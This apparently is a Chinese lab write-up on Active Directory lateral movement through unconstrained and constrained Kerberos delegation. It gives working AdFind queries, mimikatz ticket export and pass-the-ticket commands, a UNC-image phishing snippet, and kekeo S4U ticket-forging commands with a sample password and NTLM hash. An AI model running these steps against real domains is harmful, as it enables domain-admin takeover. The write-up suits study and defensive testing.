当前位置: 首页 > news >正文

内网渗透—横向移动非约束委派约束委派

前言

今天依旧是横向移动的内容,委派主要分为三类非约束委派、约束委派、资源委派。今天主要讲前面两个内容,资源委派留到最后再讲。

实验环境

Web:192.168.145.137,192.168.22.28
DC:192.168.22.30

非约束委派

原理

原理很简单,当DC访问具有非约束委派权限的主机A时,会把当前域管理员账户的TGT放在ST票据中,然后一起发给主机A。主机A会把TGT存储在lsass进程中以便下次使用,而我们的机器A就可以利用这个TGT伪装成域管理员去访问DC。

利用

当我们取得一台具有非约束委派权限的域内主机时,我们可以诱导DC来访问受控主机,拿到域管理员的TGT,从而伪装身份。

环境搭建

首先来到域控中,右键我们的Web主机,选择属性。

选择信任此计算机的任何委派。

接着输入命令,才能够在用户属性中找到委派。

setspn -U -A priv/test weige

接着我们到对应的用户,右键属性,也是选择信任此用户的任何委派。

实验测试

这里先让web主机上线CS先,然后提权为system,把Adfind这个工具上传到web服务器。

下载地址:Download AdFind (softpedia.com)

查询域内有非委派约束权限的用户,可以看到我们上面设置的weige这个账号。

AdFind.exe -b "DC=god,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

查询域内设置了非约束委派的主机,也是可以看到我们上面设置的WLW—PC。

AdFind.exe -b "DC=god,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

我们这里先清除一下票据。

mimikatz kerberos::purge 清除凭证
shell klist purge 查看当前凭证

尝试访问DC,显示拒绝访问。

dir \\DC.god.local\c$

这里我们想办法诱导DC访问Web主机才行,可以做个网页钓鱼。不过就现实来说DC几乎不会去访问网页,也不会去访问域内主机,除非不小心点到了。

<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body><img src="file:///\\192.168.22.30">
</body>
</html>

这里我就懒得搞网页了,直接让DC连接Web主机吧。

net use \\WLW-PC

此时我们导出票据。

mimikatz sekurlsa::tickets /export

看一下票据,Administrator的就是DC的票据。

接着导入票据,好吧,这里不知道为啥失败了,明明昨天实验一把成功,今天又出问题了。那我直接拿一下别人的图片吧,其实到这里不用说你们也知道咋利用了。

图片引用:内网横向移动—非约束委派&约束委派_横向移动委派-CSDN博客

mimikatz kerberos::ptt [0;bbd89]-2-0-60a00000-Administrator@krbtgt-god.local.kirbi

访问域控。

约束委派

原理

由于非约束委派的不安全性,微软在windows server2003中引入了约束委派,对Kerberos协议进行了拓展,引入了sservice for user to self(S4U2Self)和Service for user to Proxy(S4U2proxy)。

利用

约束委派攻击主要利用被控主机设置了域控的CIFS服务的约束委派,则攻击者可以先使用S4u2seflt申请域管用户访问被控主机的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。

环境搭建

与非约束委派不同的是,约束委派选择仅信任指定服务,找到域控主机名,并选择服务类型为cifs添加。

找到相对应的用户,配置也是一样的。

实验测试

查询具有约束委派权限的用户。

AdFind -b "DC=god,DC=local" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询设置了约束委派的主机。

AdFind -b "DC=god,DC=local" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

由于域内主机想要访问域控,就必须要有TGT和ST。上面我们说过为了安全,Kerberos协议引入了S4U2Self和S4U2proxy。kekeo是一个模拟Kerberos认证的工具,我们可以用使用kekeo去申请TGT,明文或者hash都行,不要再问密码哪里来的了.

kekeo "tgt::ask /user:weige /domain:god.local /password:#abc123" "exit"   kekeo "tgt::ask /user:weige /domain:god.local /NTLM:579da618cfbfa85247acf1f800a280a4" "exit"

通过这刚刚生成的TGT伪造s4u请求以Administrator用户身份去访问域控的的CIFS的ST,S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下。

kekeo.exe "tgs::s4u /tgt:TGT_weige@GOD.LOCAL_krbtgt~god.local@GOD.LOCAL.kirbi /user:Administrator@god.local /service:cifs/DC.god.local" "exit""
//第一个斜杠后面的是上面生成的TGT,第二个是以administrator的用户去申请,记得加上域名,第三个则是域控全名

会在当前目录下生成两个票据。

接着导入票据,一般来说都是导入这个名字最长的票据,如过不知道就两个都试试。

mimikatz kerberos::ptt TGS_Administrator@god.local@GOD.LOCAL_cifs~DC.god.local@GOD.LOCAL.kirbi

成功访问域控。

dir \\DC.god.local\c$

总结

非约束委派和约束委派的最大区别就是,一个是信任此计算机的任何委派,一个只是信任指定委派。从实际运用来说,非约束委派由于要让DC进行连接才能获得票据,所以有点鸡肋,就不如约束委派。其实说来说去,本质都是票据的伪造,然后进行票据传递。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 深度学习每周学习总结N9:transformer复现
  • 基于OMS构建OceanBase容灾双活架构的实践
  • 深入理解Elasticsearch的`_source`字段与索引优化
  • [C#学习笔记]LINQ
  • 企业微信运营工具:赋能企业数字化转型的利器
  • Playwright 和 Selenium的对比
  • 7.认识进程
  • 积分第二中值定理的证明
  • 结构开发笔记(七):solidworks软件(六):装配摄像头、摄像头座以及螺丝,完成摄像头结构示意图
  • 智慧赋能,铸就国防工业新辉煌-程易科技助力某军工企业数字化转型纪实
  • 【区块链通用服务平台及组件】微言科技数据智能中台
  • 一个成熟的软件测试工程师应该具备那些“技能”
  • 探索Python的隐秘角落:Keylogger库的神秘面纱
  • MYSQL的结构及常用语句
  • 使用jackson将json转换为对象时,自定义转换字段内容
  • Akka系列(七):Actor持久化之Akka persistence
  • gulp 教程
  • HTTP请求重发
  • js继承的实现方法
  • Mysql优化
  • oschina
  • 函数式编程与面向对象编程[4]:Scala的类型关联Type Alias
  • 解决jsp引用其他项目时出现的 cannot be resolved to a type错误
  • 扑朔迷离的属性和特性【彻底弄清】
  • 前言-如何学习区块链
  • 如何使用 JavaScript 解析 URL
  • 入门级的git使用指北
  • 什么是Javascript函数节流?
  • 使用 Node.js 的 nodemailer 模块发送邮件(支持 QQ、163 等、支持附件)
  • 思维导图—你不知道的JavaScript中卷
  • 在Unity中实现一个简单的消息管理器
  • d²y/dx²; 偏导数问题 请问f1 f2是什么意思
  • HanLP分词命名实体提取详解
  • 国内开源镜像站点
  • ###C语言程序设计-----C语言学习(3)#
  • #LLM入门|Prompt#3.3_存储_Memory
  • (1)Hilt的基本概念和使用
  • (13)[Xamarin.Android] 不同分辨率下的图片使用概论
  • (创新)基于VMD-CNN-BiLSTM的电力负荷预测—代码+数据
  • (附源码)spring boot车辆管理系统 毕业设计 031034
  • (附源码)spring boot校园拼车微信小程序 毕业设计 091617
  • (附源码)ssm高校志愿者服务系统 毕业设计 011648
  • (接口封装)
  • (力扣题库)跳跃游戏II(c++)
  • (亲测成功)在centos7.5上安装kvm,通过VNC远程连接并创建多台ubuntu虚拟机(ubuntu server版本)...
  • (十七)Flask之大型项目目录结构示例【二扣蓝图】
  • (一)SvelteKit教程:hello world
  • (转)eclipse内存溢出设置 -Xms212m -Xmx804m -XX:PermSize=250M -XX:MaxPermSize=356m
  • (转)linux 命令大全
  • (转)为C# Windows服务添加安装程序
  • .NET 4.0中使用内存映射文件实现进程通讯
  • .NET CLR Hosting 简介
  • .NET I/O 学习笔记:对文件和目录进行解压缩操作
  • .NET 中使用 TaskCompletionSource 作为线程同步互斥或异步操作的事件
  • .net(C#)中String.Format如何使用